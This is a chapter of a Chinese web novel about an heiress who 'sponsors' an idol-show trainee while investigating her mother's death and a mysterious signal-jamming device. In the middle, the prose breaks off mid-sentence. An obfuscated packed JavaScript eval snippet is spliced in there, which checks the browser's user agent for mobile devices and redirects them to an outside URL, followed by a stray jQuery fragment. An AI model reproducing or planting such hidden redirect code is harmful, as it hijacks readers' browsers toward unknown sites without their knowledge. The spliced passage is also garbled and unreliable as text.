“资助?”
崔既白轻扬下巴,“没错。”
洪阳大脑宕机,这这这,这难道就是传说中的bao养?
崔既白以为他不愿意,开始和他谈条件,“你也想出道吧?你知道,你的舍友邵峰,正巴结蓝莓台台长的儿子,想抢你的出道位吗?”
“可是...”
“我知道你背靠我爸和我小姨。但是...”
崔既白向前倾,表情冰冷,话语更是冷酷,“除了你,他们不是还安排了好几个人吗?”
“是你出道,还是那几个人出道,对于他们来说,没有区别。”
洪阳依旧低着头,一言不发。崔既白话锋一转,眼里染上几分恨意,“你可能想,就算不出道,也可以借着节目的名气继续发展。我可以很明确地告诉你,不可能。”
洪阳沉默片刻,抬头看向对面,“我愿意...被你...zi...资助。”
目的达成,崔既白表情冷淡,继续提要求,“节目拍完了搬过来。”
洪阳搓搓脖子,“ha,好。”
交代完,她拎包起身,“先走了。”
洪阳连忙站起,跟着她走了几步,“好,不,不多聊会吗?”
崔既白握住门把手,侧身回头,见他一副青涩窝囊的样子,微微皱眉,“不用了,我还有事。”
“哦...那...”
洪阳看见她的表情,悻悻闭嘴,在她关上门后扇自己一巴掌。
崔既白坐在沙发上,太阳穴抽痛。
她不想见到洪阳,或者说跟母亲死亡有关的人她都不想见。
他窝囊结巴的样子更是让她反感,如果不是为了调查,她估计不会选择和他见面。
突然,眼前浮现出滕小鹿的笑脸,崔既白轻轻一笑,打开包的隔层,想拿出那颗糖。
包里东西不多,除了合同外竟还有一个小黑球。
崔既白手一顿,拿起那颗黑球,放在面前仔细打量。
她在脑海中搜罗形似这颗球的东西。
这是...信号屏蔽器?
她在C国的时候学的就是脑机研发的相关内容,也见过屏蔽脑机信号的设备,其中就有与其相似的圆球。
脑海中闪现出那个工作人员,崔既白蹙眉思考,难道...这是那个人塞到里面的?
当时走的太快,被撞了一下后她并不在意,连那个工作人员的脸都没看清。
难道是她爸或者小姨?
不对,要是他们,可以直接给我,何必费这么大劲?
...洪阳?
荒谬的感觉带着凉意笼罩崔既白的心头。
也不太可能...他是怎么知道我今天会来,除非他有同伙。
不过这样的话,爸和小姨也有可能。
思路断了,崔既白也不气馁,继续从这颗圆球的功能入手。
它可以屏蔽所有信号,他人往脑机发的消息,打的电话,都不会被脑机的主人看到,同样,主人跟别人通话发消息也不行。
这个人不想我与外界联系?
我和洪阳见面不能被人发现?
就凭这一点,崔既白怀疑是不是她爸授意别人往她包里放的屏蔽器?
可是这样的话为什么要派她去蓝莓台?
“唉。”
崔既白实在没有头绪,只好先放弃这个圆球,转而打开脑机,安上从文豪那要来的软件,防止脑机里的东西泄露出去。
饭菜凉透,崔既白才起身走到餐桌边,把这些菜塞进微波炉。
这边还在吃饭,蓝莓台宿舍里,洪阳已经侧躺在床,面向墙壁半天了,饭也不吃,澡也不洗,训练也不去,给魏超吓得,以为他生病了。
“哥,你这不对劲啊。”魏超下巴搁在上铺的铁栏杆上,用手指戳戳他的背,“要去医务室吗?”
洪阳还沉浸在懊悔中,他怎么就,就这么怂呢!平时说话不是一套一套的,一到崔既白面前,舌头都捋不直。
崔既白...崔既白...崔既白...
想起她那凌厉的眼神,洪阳的脸颊发烫。
不行!
他猛地坐起,吓得魏超差点踩空,“哥?”
“我去训练。”
“啊,啊?”
魏超看墙上的闹钟,都快十点了,练习室都关了吧?
洪阳才不管这些,闷头冲出去,留下几人面面相觑。
“他今天是不是吃错药了?”
“魏超,你们老板骂他啦?”
邵峰开始添油加醋,“哦哟,那是他老板吗,应该是金主才对!说不定是玩腻了,昨天借着探班的名义来和他一刀两断呢。”
魏超瞥一眼他,并没有说什么。
收回眼神,崔既白抿了一口茶,冲淡心里那股恶心。
四人跪坐在榻榻米上,对面的男人大腹便便,看向崔既白的眼神充满玩味和贪婪,“老崔,你女儿真是出落的亭亭玉立啊。”
“哈哈。”崔立打哈哈,“孙总,您儿子也是一表人才啊。”
崔既白挤出笑容,将文件放在桌上。
两人这才转移话题。
孙魏权是C国华裔,同样经营一家脑机公司,规模无论在A国还是C国都是数一数二的。
崔既白受不了他那猥琐的眼神,找借口去厕所,离开这烟雾缭绕的包间。
半个局外人离开,孙魏权立刻收了笑,“地是有,但是做好了再运回去,这路费就够你吃一壶。”
“我这也是没办法啊孙总。”崔立眉心的悬针纹被挤出,拿起小茶杯一口闷,“A国那边好像露了点风声,上面开始有动作了。”
“唉。”孙魏权翻白眼,“管这么宽。”
崔立替他倒茶,“是啊。”
关上龙头,哗哗水声消失,崔既白甩甩手,并没有出去的意思。
想起那个大叔,她打人的心思都有了。
也不撒泡尿照照自己。
崔既白冷笑一声,打开脑机,点进星耀偶像的直播间。
二公今晚开始,通过镜头,她见到洪阳。
洪阳最出彩的就是那双眼睛,大,亮,眼角微微下垂,给他添上几分无辜和稚气,但他的鼻子挺,嘴巴薄,下巴兜翘,下颌锋利,都是成熟的象征。
这些元素集合在他的脸上,很有特色,难怪他人气这么高。
崔既白顿时感觉如沐春风,胸中的恶心烟消云散,目不转睛,欣赏他的脸。
洪阳在后台,和队员们一起候场。
他是队长,在上台前不忘提醒队员们检查设备。
他原来不结巴啊。
崔既白失笑。
开了小窗,她发消息给小钟,“请问二公后选手们会有休息时间吗?”
钟雨在忙,没有立刻回复。
崔既白也不急,继
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401837|168721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
续看洪阳跳舞。
洪阳的舞蹈比上次好了很多,柔韧有余,没有僵硬感。
一个小框跳出来,是崔立。
“你搞完没有?”
崔既白表情变冷,立刻回道:“马上。”
这顿饭吃了两个小时,崔既白全程低头,不是吃饭就是递东西,一直不与孙魏权对视。
“切。”
孙魏权坐在后排,和驾驶座的助理说:“扬州瘦马而已,还这么高傲,给谁看啊?”
助理不语,只是迎合一笑。
二公圆满结束,洪阳高位晋级。
意料之中,他并没有很高兴,结束录制后和魏超一起回宿舍。
路上碰见的人都有些不对劲,看他的眼神都带着好奇和探究。
他起初没在意,直到练习时,闲言碎语飘进他的耳朵。
“听说他是被内定的。”
“有金主就是好啊...”
他停下动作,转头看向声音源头。
像是做贼心虚,那两人发现洪阳看着自己,匆忙拿起保温杯离开。
晚上八点,练习结束,第二天是假日,宿舍里都没人。
一个陌生号码打进来,洪阳本想挂掉,看到区号是A市,眼睛盯着通话键片刻,最终按下。
“喂?”
“是我。”
“小,小崔总?”
这个称呼从他嘴里说出还有些新奇,崔既白嘴角翘起,继续说:“我听钟雨说,你们明天放假。”
“对,对,明天放假...”
“今天晚上出来吧,莱特斯酒店,1701。”
话音刚落,洪阳的脸迅速涨红,“这,这,这,会不会,T,太快了。”
“......”
崔既白几秒后反应过来,脸也染上胭脂红,“你想太多。叫你去酒店是有事问你。”
一盆冷水泼下来,洪阳“哦”一声,讷讷道:“好,小崔总几点方便呢?”
“十点到。”
“好。”
挂了电话,他变得手忙脚乱。
穿什么,要不要洗澡,要不要带什么...
半个小时过去,他收拾好一切,戴上帽子和口罩出门。
走廊只有应急灯亮着。绿光幽暗,拐角处有一个黑色的身影。
邵峰刚从外面回来,浑身酒气,脖子上还有两个口红印。
洪阳想装作没看见他,他却主动堵路,“哟,出去见金主啊。”
刺鼻的烟酒味让洪阳捂鼻,这个动作激怒了邵峰,拎着他的领子大吼,“你踏马算老几,有什么资格捂鼻子!”
脖子一紧,洪阳握紧拳头,想朝他脸上挥去,想起什么,停在半空中。
“你也就靠你这张脸,傍金主出道呗。谁不会啊!小白脸,吃软饭的!”
对方已经醉到口齿不清,洪阳懒得和他计较,一把将他推开,大步向前走。
这个小插曲并没有影响洪阳的心情。
假的真不了,真的假不了,他和崔既白清清白白,就算有绯闻传出,相信她会出手解决。
总统套房在顶楼。
洪阳刷完门卡,玫瑰香薰味扑面而来。一个黑影站在落地窗前,霓虹彩灯撒在她睡衣上,勾勒出她的腰线。
听到门口传来“滴滴”声,崔既白转身,眼睛像萤火虫一样,发出幽幽灯光。
“你来了。”